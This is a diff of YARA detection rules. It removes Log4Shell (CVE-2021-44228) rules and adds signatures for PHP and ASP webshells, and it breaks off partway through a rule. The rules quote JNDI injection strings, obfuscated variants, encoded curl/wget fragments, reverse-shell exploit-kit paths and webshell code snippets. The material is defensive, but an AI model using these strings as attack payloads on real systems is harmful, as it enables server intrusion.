+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-webshells.yar#L5431-L5446"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "a5dc73a12d8c8b89bab77b90cb3b561e9daf9db5f5ad550326a2fbce52c1c8da"
+		score = 75
+		quality = 85
+		tags = ""
+		super_rule = 1
+		hash0 = "d8ae5819a0a2349ec552cbcf3a62c975"
+		hash1 = "9e9ae0332ada9c3797d6cee92c2ede62"
+		hash2 = "44542e5c3e9790815c49d5f9beffbbf2"
+		hash3 = "d089e7168373a0634e1ac18c0ee00085"
+		hash4 = "38fd7e45f9c11a37463c3ded1c76af4c"
 
 	strings:
-		$xr1 = /\b(ldap|rmi):\/\/([a-z0-9\.]{1,16}\.bingsearchlib\.com|[a-z0-9\.]{1,40}\.interact\.sh|[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}):[0-9]{2,5}\/([aZ]|ua|Exploit|callback|[0-9]{10}|http443useragent|http80useragent)\b/
+		$s0 = "$result = mysql_query(\"SHOW PROCESSLIST\", $sql_sock); " fullword
 
 	condition:
-		1 of them
+		all of them
 }
-rule SIGNATURE_BASE_EXPL_JNDI_Exploit_Patterns_Dec21_1
+rule SIGNATURE_BASE_Multiple_Php_Webshells_2
 {
 	meta:
-		description = "Detects JNDI Exploit Kit patterns in files"
-		author = "Florian Roth (Nextron Systems)"
-		id = "a9127dd2-b818-5ca8-877a-3c47b1e92606"
-		date = "2021-12-12"
+		description = "Semi-Auto-generated "
+		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
+		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
+		date = "2023-12-05"
 		modified = "2023-12-05"
-		reference = "https://github.com/pimps/JNDI-Exploit-Kit"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/expl_log4j_cve_2021_44228.yar#L16-L49"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "9442c8c4eee76539892752361657c86e80acc7990876e787317b042a4637f669"
-		score = 60
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-webshells.yar#L5447-L5467"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "26fe586ba7f4d1931b2df81aa27543ff422e699fd56b6b1be289a0f8d6954691"
+		score = 75
 		quality = 85
 		tags = ""
+		super_rule = 1
+		hash0 = "38a3f9f2aa47c2e940695f3dba6a7bb2"
+		hash1 = "3ca5886cd54d495dc95793579611f59a"
+		hash2 = "9c5bb5e3a46ec28039e8986324e42792"
+		hash3 = "d8ae5819a0a2349ec552cbcf3a62c975"
+		hash4 = "9e9ae0332ada9c3797d6cee92c2ede62"
+		hash5 = "6cd50a14ea0da0df6a246a60c8f6f9c9"
+		hash6 = "09609851caa129e40b0d56e90dfc476c"
+		hash7 = "671cad517edd254352fe7e0c7c981c39"
 
 	strings:
-		$x01 = "/Basic/Command/Base64/"
-		$x02 = "/Basic/ReverseShell/"
-		$x03 = "/Basic/TomcatMemshell"
-		$x04 = "/Basic/JettyMemshell"
-		$x05 = "/Basic/WeblogicMemshell"
-		$x06 = "/Basic/JBossMemshell"
-		$x07 = "/Basic/WebsphereMemshell"
-		$x08 = "/Basic/SpringMemshell"
-		$x09 = "/Deserialization/URLDNS/"
-		$x10 = "/Deserialization/CommonsCollections1/Dnslog/"
-		$x11 = "/Deserialization/CommonsCollections2/Command/Base64/"
-		$x12 = "/Deserialization/CommonsBeanutils1/ReverseShell/"
-		$x13 = "/Deserialization/Jre8u20/TomcatMemshell"
-		$x14 = "/TomcatBypass/Dnslog/"
-		$x15 = "/TomcatBypass/Command/"
-		$x16 = "/TomcatBypass/ReverseShell/"
-		$x17 = "/TomcatBypass/TomcatMemshell"
-		$x18 = "/TomcatBypass/SpringMemshell"
-		$x19 = "/GroovyBypass/Command/"
-		$x20 = "/WebsphereBypass/Upload/"
-		$fp1 = "<html"
+		$s0 = "elseif (!empty($ft)) {echo \"<center><b>Manually selected type is incorrect. I"
+		$s1 = "else {echo \"<center><b>Unknown extension (\".$ext.\"), please, select type ma"
+		$s3 = "$s = \"!^(\".implode(\"|\",$tmp).\")$!i\";" fullword
 
 	condition:
-		1 of ($x*) and not 1 of ($fp*)
+		all of them
 }
-rule SIGNATURE_BASE_EXPL_Log4J_CVE_2021_44228_JAVA_Exception_Dec21_1 : CVE_2021_44228
+rule SIGNATURE_BASE__W_Php_Php_C99Madshell_V2_1_Php_Php_Wacking_Php_Php_1_Specialshell_99_Php_Php
 {
 	meta:
-		description = "Detects exceptions found in server logs that indicate an exploitation attempt of CVE-2021-44228"
-		author = "Florian Roth (Nextron Systems)"
-		id = "82cf337e-4ea1-559b-a7b8-512a07adf06f"
-		date = "2021-12-12"
+		description = "Semi-Auto-generated "
+		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
+		id = "4915146e-141c-5515-ac5a-61901d42dc40"
+		date = "2023-12-05"
 		modified = "2023-12-05"
-		reference = "https://gist.github.com/Neo23x0/e4c8b03ff8cdf1fa63b7d15db6e3860b"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/expl_log4j_cve_2021_44228.yar#L51-L66"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "98eabec4ad2f5c4d22db9c3bebdc82c8dc6723599748360875fc7b613b1019ab"
-		score = 60
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-webshells.yar#L5468-L5486"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "160adf93d4f9e51022c427b2b0601207dd9ca917e98d99e2013fe83e09a85d21"
+		score = 75
 		quality = 85
-		tags = "CVE-2021-44228"
+		tags = ""
+		super_rule = 1
+		hash0 = "38a3f9f2aa47c2e940695f3dba6a7bb2"
+		hash1 = "3ca5886cd54d495dc95793579611f59a"
+		hash2 = "9c5bb5e3a46ec28039e8986324e42792"
+		hash3 = "44542e5c3e9790815c49d5f9beffbbf2"
+		hash4 = "09609851caa129e40b0d56e90dfc476c"
 
 	strings:
-		$xa1 = "header with value of BadAttributeValueException: "
-		$sa1 = ".log4j.core.net.JndiManager.lookup(JndiManager"
-		$sa2 = "Error looking up JNDI resource"
+		$s0 = "if ($total === FALSE) {$total = 0;}" fullword
+		$s1 = "$free_percent = round(100/($total/$free),2);" fullword
+		$s2 = "if (!$bool) {$bool = is_dir($letter.\":\\\\\");}" fullword
+		$s3 = "$bool = $isdiskette = in_array($letter,$safemode_diskettes);" fullword
 
 	condition:
-		$xa1 or all of ($sa*)
+		2 of them
 }
-rule SIGNATURE_BASE_EXPL_Log4J_CVE_2021_44228_Dec21_Soft : FILE CVE_2021_44228
+rule SIGNATURE_BASE__R577_Php_Php_R57_Php_Php_Spy_Php_Php_S_Php_Php
 {
 	meta:
-		description = "Detects indicators in server logs that indicate an exploitation attempt of CVE-2021-44228"
-		author = "Florian Roth (Nextron Systems)"
-		id = "87e536a5-cc11-528a-b100-4fa3b2b7bc0c"
-		date = "2021-12-10"
-		modified = "2021-12-20"
-		reference = "https://twitter.com/h113sdx/status/1469010902183661568?s=20"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/expl_log4j_cve_2021_44228.yar#L68-L92"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "61a005060e2041afa5a9aa0b2a5e26cfc9a53cbafa78b15e4dd2c3b38127373a"
-		score = 60
+		description = "Semi-Auto-generated  - from files r577.php.php.txt, r57.php.php.txt, spy.php.php.txt, s.php.php.txt"
+		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
+		id = "022d2255-50cd-500b-8d91-8e34f3c46fcf"
+		date = "2023-12-05"
+		modified = "2023-12-05"
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-webshells.yar#L5487-L5503"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "7ba3d6927dc06bfcd98ee9d7146164ca9a9024ef26eac60fabc8ed1375db618d"
+		score = 75
 		quality = 85
-		tags = "FILE, CVE-2021-44228"
+		tags = ""
+		super_rule = 1
+		hash0 = "0714f80f35c1fddef1f8938b8d42a4c8"
+		hash1 = "eddf7a8fde1e50a7f2a817ef7cece24f"
+		hash2 = "eed14de3907c9aa2550d95550d1a2d5f"
+		hash3 = "817671e1bdc85e04cc3440bbd9288800"
 
 	strings:
-		$x01 = "${jndi:ldap:/"
-		$x02 = "${jndi:rmi:/"
-		$x03 = "${jndi:ldaps:/"
-		$x04 = "${jndi:dns:/"
-		$x05 = "${jndi:iiop:/"
-		$x06 = "${jndi:http:/"
-		$x07 = "${jndi:nis:/"
-		$x08 = "${jndi:nds:/"
-		$x09 = "${jndi:corba:/"
-		$fp1 = "<html"
-		$fp2 = "/nessus}"
+		$s0 = "$res = mssql_query(\"select * from r57_temp_table\",$db);" fullword
+		$s2 = "'eng_text30'=>'Cat file'," fullword
+		$s3 = "@mssql_query(\"drop table r57_temp_table\",$db);" fullword
 
 	condition:
-		1 of ($x*) and not 1 of ($fp*)
+		1 of them
 }
-rule SIGNATURE_BASE_EXPL_Log4J_CVE_2021_44228_Dec21_OBFUSC : CVE_2021_44228
+rule SIGNATURE_BASE__Nixrem_Php_Php_C99Shell_V1_0_Php_Php_C99Php_NIX_REMOTE_WEB_SHELL_V_0_5_Alpha_Lite_Public_Version_Php
 {
 	meta:
-		description = "Detects obfuscated indicators in server logs that indicate an exploitation attempt of CVE-2021-44228"
-		author = "Florian Roth (Nextron Systems)"
-		id = "d7c4092a-6ffc-5a89-b73a-f7f0ac984cbd"
-		date = "2021-12-12"
-		modified = "2021-12-13"
-		reference = "https://twitter.com/h113sdx/status/1469010902183661568?s=20"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/expl_log4j_cve_2021_44228.yar#L94-L116"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "00231db2ae83a89c187dbde1f2bc67fdaedcf1cbdf872afdcc374d2d0abee515"
-		score = 60
+		description = "Semi-Auto-generated "
+		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
+		id = "ce88027c-ae08-59f3-948d-6f3d58515468"
+		date = "2023-12-05"
+		modified = "2023-12-05"
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-webshells.yar#L5504-L5521"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "f7575db2c8f147d03d5b93b431d1a73c4182b5db6e801e672914778b2042a712"
+		score = 75
 		quality = 85
-		tags = "CVE-2021-44228"
+		tags = ""
+		super_rule = 1
+		hash0 = "40a3e86a63d3d7f063a86aab5b5f92c6"
+		hash1 = "d8ae5819a0a2349ec552cbcf3a62c975"
+		hash2 = "9e9ae0332ada9c3797d6cee92c2ede62"
+		hash3 = "f3ca29b7999643507081caab926e2e74"
 
 	strings:
-		$x1 = "$%7Bjndi:"
-		$x2 = "%2524%257Bjndi"
-		$x3 = "%2F%252524%25257Bjndi%3A"
-		$x4 = "${jndi:${lower:"
-		$x5 = "${::-j}${"
-		$x6 = "${${env:BARFOO:-j}"
-		$x7 = "${::-l}${::-d}${::-a}${::-p}"
-		$x8 = "${base64:JHtqbmRp"
-		$fp1 = "<html"
+		$s0 = "$num = $nixpasswd + $nixpwdperpage;" fullword
+		$s1 = "$ret = posix_kill($pid,$sig);" fullword
+		$s2 = "if ($uid) {echo join(\":\",$uid).\"<br>\";}" fullword
+		$s3 = "$i = $nixpasswd;" fullword
 
 	condition:
-		1 of ($x*) and not 1 of ($fp*)
+		2 of them
 }
-rule SIGNATURE_BASE_EXPL_Log4J_CVE_2021_44228_Dec21_Hard : FILE CVE_2021_44228
+rule SIGNATURE_BASE_Darksecurityteam_Webshell
 {
 	meta:
-		description = "Detects indicators in server logs that indicate the exploitation of CVE-2021-44228"
-		author = "Florian Roth"
-		id = "5297c42d-7138-507d-a3eb-153afe522816"
-		date = "2021-12-10"
-		modified = "2023-10-23"
-		reference = "https://twitter.com/h113sdx/status/1469010902183661568?s=20"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/expl_log4j_cve_2021_44228.yar#L118-L140"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "9a4fc285dd1680ebc8a1042eeb5fbba73b9e2df70678adf3163122d84405325e"
-		score = 75
-		quality = 35
-		tags = "FILE, CVE-2021-44228"
+		description = "Dark Security Team Webshell"
+		author = "Florian Roth (Nextron Systems)"
+		id = "78dcd62f-9215-5571-a5ef-5f811ce9672f"
+		date = "2023-12-05"
+		modified = "2023-12-05"
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-webshells.yar#L5525-L5537"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "f1c95b13a71ca3629a0bb79601fcacf57cdfcf768806a71b26f2448f8c1d5d24"
+		logic_hash = "0c58ed8845cb04d785322b280647d424e1028a3be7e92b2493fd907fae36b16d"
+		score = 50
+		quality = 85
+		tags = ""
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$x1 = /\$\{jndi:(ldap|ldaps|rmi|dns|iiop|http|nis|nds|corba):\/[\/]?[a-z-\.0-9]{3,120}:[0-9]{2,5}\/[a-zA-Z\.]{1,32}\}/
-		$x2 = "Reference Class Name: foo"
-		$fp1r = /(ldap|rmi|ldaps|dns):\/[\/]?(127\.0\.0\.1|192\.168\.|172\.[1-3][0-9]\.|10\.)/
-		$fpg2 = "<html"
-		$fpg3 = "<HTML"
-		$fp1 = "/QUALYSTEST" ascii
-		$fp2 = "w.nessus.org/nessus"
-		$fp3 = "/nessus}"
+		$s0 = "form method=post><input type=hidden name=\"\"#\"\" value=Execute(Session(\"\"#\"\"))><input name=thePath value=\"\"\"&HtmlEncode(Server.MapPath(\".\"))&" ascii
 
 	condition:
-		1 of ($x*) and not 1 of ($fp*)
+		1 of them
 }
-rule SIGNATURE_BASE_SUSP_Base64_Encoded_Exploit_Indicators_Dec21 : CVE_2021_44228
+rule SIGNATURE_BASE_PHP_Cloaked_Webshell_Superfetchexec
 {
 	meta:
-		description = "Detects base64 encoded strings found in payloads of exploits against log4j CVE-2021-44228"
+		description = "Looks like a webshell cloaked as GIF - http://goo.gl/xFvioC"
 		author = "Florian Roth (Nextron Systems)"
-		id = "09abc4f0-ace7-5f53-b1d3-5f5c6bf3bdba"
-		date = "2021-12-10"
-		modified = "2021-12-13"
-		reference = "https://twitter.com/Reelix/status/1469327487243071493"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/expl_log4j_cve_2021_44228.yar#L142-L165"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "703a83916c7279bcdc3cd61602472c2a3815140235be169f5b2063a547438c61"
-		score = 70
+		id = "4611129a-9865-5603-b1ec-7db0058a80d7"
+		date = "2023-12-05"
+		modified = "2023-12-05"
+		reference = "http://goo.gl/xFvioC"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-webshells.yar#L5539-L5551"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "320b85b1ad39a90578f53c69838b6264af1e6a71c509aefc0986c7f0c77fdae9"
+		score = 50
 		quality = 85
-		tags = "CVE-2021-44228"
+		tags = ""
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$sa1 = "Y3VybCAtcy"
-		$sa2 = "N1cmwgLXMg"
-		$sa3 = "jdXJsIC1zI"
-		$sb1 = "fHdnZXQgLXEgLU8tI"
-		$sb2 = "x3Z2V0IC1xIC1PLS"
-		$sb3 = "8d2dldCAtcSAtTy0g"
-		$fp1 = "<html"
+		$s0 = "else{$d.=@chr(($h[$e[$o]]<<4)+($h[$e[++$o]]));}}eval($d);"
 
 	condition:
-		1 of ($sa*) and 1 of ($sb*) and not 1 of ($fp*)
+		$s0
 }
-rule SIGNATURE_BASE_SUSP_Jdniexploit_Indicators_Dec21 : FILE
+rule SIGNATURE_BASE_Webshell_Remexp_Asp_Php
 {
 	meta:
-		description = "Detects indicators of JDNI usage in log files and other payloads"
+		description = "PHP Webshells Github Archive - file RemExp.asp.php.txt"
 		author = "Florian Roth (Nextron Systems)"
-		id = "2df8b8f3-8d8d-5982-8c85-692b7d91ebb2"
-		date = "2021-12-10"
-		modified = "2021-12-12"
-		reference = "https://github.com/flypig5211/JNDIExploit"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/expl_log4j_cve_2021_44228.yar#L167-L180"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "7886a67672001f0db72575d96d3a12341bfcdc49a9951e3d5e2a88ab46bf5a5d"
-		score = 70
-		quality = 35
-		tags = "FILE"
+		id = "274c8816-2711-5f12-937e-549ec2d57ce1"
+		date = "2023-12-05"
+		modified = "2023-12-05"
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-webshells.yar#L5555-L5570"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "d9919dcf94a70d5180650de8b81669fa1c10c5a2"
+		logic_hash = "b3cfa44898629ffa20630436ae10a94ad72f0e793d61e1157a4de649aa048fe2"
+		score = 75
+		quality = 85
+		tags = ""
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$xr1 = /(ldap|ldaps|rmi|dns|iiop|http|nis|nds|corba):\/\/[a-zA-Z0-9\.]{7,80}:[0-9]{2,5}\/(Basic\/Command\/Base64|Basic\/ReverseShell|Basic\/TomcatMemshell|Basic\/JBossMemshell|Basic\/WebsphereMemshell|Basic\/SpringMemshell|Basic\/Command|Deserialization\/CommonsCollectionsK|Deserialization\/CommonsBeanutils|Deserialization\/Jre8u20\/TomcatMemshell|Deserialization\/CVE_2020_2555\/WeblogicMemshell|TomcatBypass|GroovyBypass|WebsphereBypass)\//
+		$s0 = "lsExt = Right(FileName, Len(FileName) - liCount)" fullword
+		$s7 = "<td bgcolor=\"<%=BgColor%>\" title=\"<%=File.Name%>\"> <a href= \"showcode.asp?f"
+		$s13 = "Response.Write Drive.ShareName & \" [share]\"" fullword
+		$s19 = "If Request.QueryString(\"CopyFile\") <> \"\" Then" fullword
+		$s20 = "<td width=\"40%\" height=\"20\" bgcolor=\"silver\">  Name</td>" fullword
 
 	condition:
-		filesize <100MB and $xr1
+		all of them
 }
-rule SIGNATURE_BASE_SUSP_EXPL_OBFUSC_Dec21_1 : CVE_2021_44228 FILE
+rule SIGNATURE_BASE_Webshell_Dc3_Security_Crew_Shell_Priv
 {
 	meta:
-		description = "Detects obfuscation methods used to evade detection in log4j exploitation attempt of CVE-2021-44228"
+		description = "PHP Webshells Github Archive - file dC3_Security_Crew_Shell_PRiV.php"
 		author = "Florian Roth (Nextron Systems)"
-		id = "b8f56711-7922-54b9-9ce2-6ba05d64c80d"
-		date = "2021-12-11"
-		modified = "2022-11-08"
-		reference = "https://twitter.com/testanull/status/1469549425521348609"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/expl_log4j_cve_2021_44228.yar#L182-L211"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "d6ffb70da82fe16e7a76feb31c01aa3e0cfc5625cc0e2b237ec851c646550839"
-		score = 60
+		id = "c83bb4ba-6b4e-5a88-925b-b93d08b304e4"
+		date = "2023-12-05"
+		modified = "2023-12-05"
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-webshells.yar#L5571-L5587"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "1b2a4a7174ca170b4e3a8cdf4814c92695134c8a"
+		logic_hash = "f93a5d87d4a490844de578067dc0b7bac6b01ceb9130cd7c70a227566e18f16c"
+		score = 75
 		quality = 85
-		tags = "CVE-2021-44228, FILE"
+		tags = ""
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$f1 = { 24 7B 6C 6F 77 65 72 3A ?? 7D }
-		$f2 = { 24 7B 75 70 70 65 72 3A ?? 7D }
-		$x3 = "$%7blower:"
-		$x4 = "$%7bupper:"
-		$x5 = "%24%7bjndi:"
-		$x6 = "$%7Blower:"
-		$x7 = "$%7Bupper:"
-		$x8 = "%24%7Bjndi:"
-		$fp1 = "<html"
+		$s0 = "@rmdir($_GET['file']) or die (\"[-]Error deleting dir!\");" fullword
+		$s4 = "$ps=str_replace(\"\\\\\",\"/\",getenv('DOCUMENT_ROOT'));" fullword
+		$s5 = "header(\"Expires: \".date(\"r\",mktime(0,0,0,1,1,2030)));" fullword
+		$s15 = "search_file($_POST['search'],urldecode($_POST['dir']));" fullword
+		$s16 = "echo base64_decode($images[$_GET['pic']]);" fullword
+		$s20 = "if (isset($_GET['rename_all'])) {" fullword
 
 	condition:
-		(1 of ($x*) or filesize <200KB and 1 of ($f*)) and not 1 of ($fp*)
+		3 of them
 }
-rule SIGNATURE_BASE_SUSP_Jdniexploit_Error_Indicators_Dec21_1
+rule SIGNATURE_BASE_Webshell_Simattacker
 {
 	meta:
-		description = "Detects error messages related to JDNI usage in log files that can indicate a Log4Shell / Log4j exploitation"
+		description = "PHP Webshells Github Archive - file simattacker.php"
 		author = "Florian Roth (Nextron Systems)"
-		id = "68bcf043-58b4-54a9-b024-64871b5d535f"
-		date = "2021-12-10"
-		modified = "2023-06-23"
-		reference = "https://twitter.com/marcioalm/status/1470361495405875200?s=20"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/expl_log4j_cve_2021_44228.yar#L213-L226"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "2ab98814b2ed66b0bda875fecc0b09db82035d7edcdb0af65f815817ec8c6cc8"
-		score = 70
+		id = "2408fad8-780f-50de-a309-99d14a1d87b6"
+		date = "2023-12-05"
+		modified = "2023-12-05"
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-webshells.yar#L5588-L5606"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "258297b62aeaf4650ce04642ad5f19be25ec29c9"
+		logic_hash = "323b68f1d31df647775ad16a85b9f90bce4eac89188160a1e4853f8fec680160"
+		score = 75
 		quality = 85
 		tags = ""
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$x1 = "FATAL log4j - Message: BadAttributeValueException: "
+		$s1 = "$from = rand (71,1020000000).\"@\".\"Attacker.com\";" fullword
+		$s4 = "&nbsp;Turkish Hackers : WWW.ALTURKS.COM <br>" fullword
+		$s5 = "&nbsp;Programer : SimAttacker - Edited By KingDefacer<br>" fullword
+		$s6 = "//fake mail = Use victim server 4 DOS - fake mail " fullword
+		$s10 = "&nbsp;e-mail : kingdefacer@msn.com<br>" fullword
+		$s17 = "error_reporting(E_ERROR | E_WARNING | E_PARSE);" fullword
+		$s18 = "echo \"<font size='1' color='#999999'>Dont in windows\";" fullword
+		$s20 = "$Comments=$_POST['Comments'];" fullword
 
 	condition:
-		1 of them
+		2 of them
 }
-import "pe"
-
-rule SIGNATURE_BASE_APT28_CHOPSTICK : FILE
+rule SIGNATURE_BASE_Webshell_Dtool_Pro
 {
 	meta:
-		description = "Detects a malware that behaves like CHOPSTICK mentioned in APT28 report"
+		description = "PHP Webshells Github Archive - file DTool Pro.php"
 		author = "Florian Roth (Nextron Systems)"
-		id = "08bc4cc2-1844-5218-bb89-20a3ac70a951"
-		date = "2015-06-02"
+		id = "9f2922d1-b2af-58ae-b194-ecb33577effa"
+		date = "2023-12-05"
 		modified = "2023-12-05"
-		reference = "https://goo.gl/v3ebal"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_apt28.yar#L10-L32"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "f4db2e0881f83f6a2387ecf446fcb4a4c9f99808"
-		logic_hash = "750b2d5157856e0ffd840406eec601ded51ced7ccb20b577f336bbaf32681835"
-		score = 60
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-webshells.yar#L5607-L5625"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "e2ee1c7ba7b05994f65710b7bbf935954f2c3353"
+		logic_hash = "da744efb521415fb8817c0982d8d538e1e38b1c0995f43716611df37bf371c38"
+		score = 75
 		quality = 85
-		tags = "FILE"
+		tags = ""
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s0 = "jhuhugit.tmp" fullword ascii
-		$s8 = "KERNEL32.dll" fullword ascii
-		$s9 = "IsDebuggerPresent" fullword ascii
-		$s10 = "IsProcessorFeaturePresent" fullword ascii
-		$s11 = "TerminateProcess" fullword ascii
-		$s13 = "DeleteFileA" fullword ascii
-		$s15 = "GetProcessHeap" fullword ascii
-		$s16 = "!This program cannot be run in DOS mode." fullword ascii
-		$s17 = "LoadLibraryA" fullword ascii
+		$s1 = "function PHPget(){inclVar(); if(confirm(\"O PHPget agora oferece uma lista pront"
+		$s2 = "<font size=3>by r3v3ng4ns - revengans@gmail.com </font>" fullword
+		$s3 = "function PHPwriter(){inclVar();var url=prompt(\"[ PHPwriter ] by r3v3ng4ns\\nDig"
+		$s11 = "//Turns the 'ls' command more usefull, showing it as it looks in the shell" fullword
+		$s13 = "if (@file_exists(\"/usr/bin/wget\")) $pro3=\"<i>wget</i> at /usr/bin/wget, \";" fullword
+		$s14 = "//To keep the changes in the url, when using the 'GET' way to send php variables" fullword
+		$s16 = "function PHPf(){inclVar();var o=prompt(\"[ PHPfilEditor ] by r3v3ng4ns\\nDigite "
+		$s18 = "if(empty($fu)) $fu = @$_GET['fu'];" fullword
 
 	condition:
-		uint16(0)==0x5a4d and filesize <722KB and all of them
+		3 of them
 }
-import "pe"
-
-rule SIGNATURE_BASE_APT28_Sourface_Malware1 : FILE
+rule SIGNATURE_BASE_Webshell_Ironshell_4
 {
 	meta:
-		description = "Detects Malware from APT28 incident - SOURFACE is a downloader that obtains a second-stage backdoor from a C2 server."
+		description = "PHP Webshells Github Archive - file ironshell.php"
 		author = "Florian Roth (Nextron Systems)"
-		id = "d4275b8d-384f-58b7-bac5-05fb7db659e2"
-		date = "2015-06-01"
+		id = "06e87e02-372b-5d4e-be52-5515a068665b"
+		date = "2023-12-05"
 		modified = "2023-12-05"
-		reference = "https://www.fireeye.com/blog/threat-research/2014/10/apt28-a-window-into-russias-cyber-espionage-operations.html"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_apt28.yar#L34-L50"
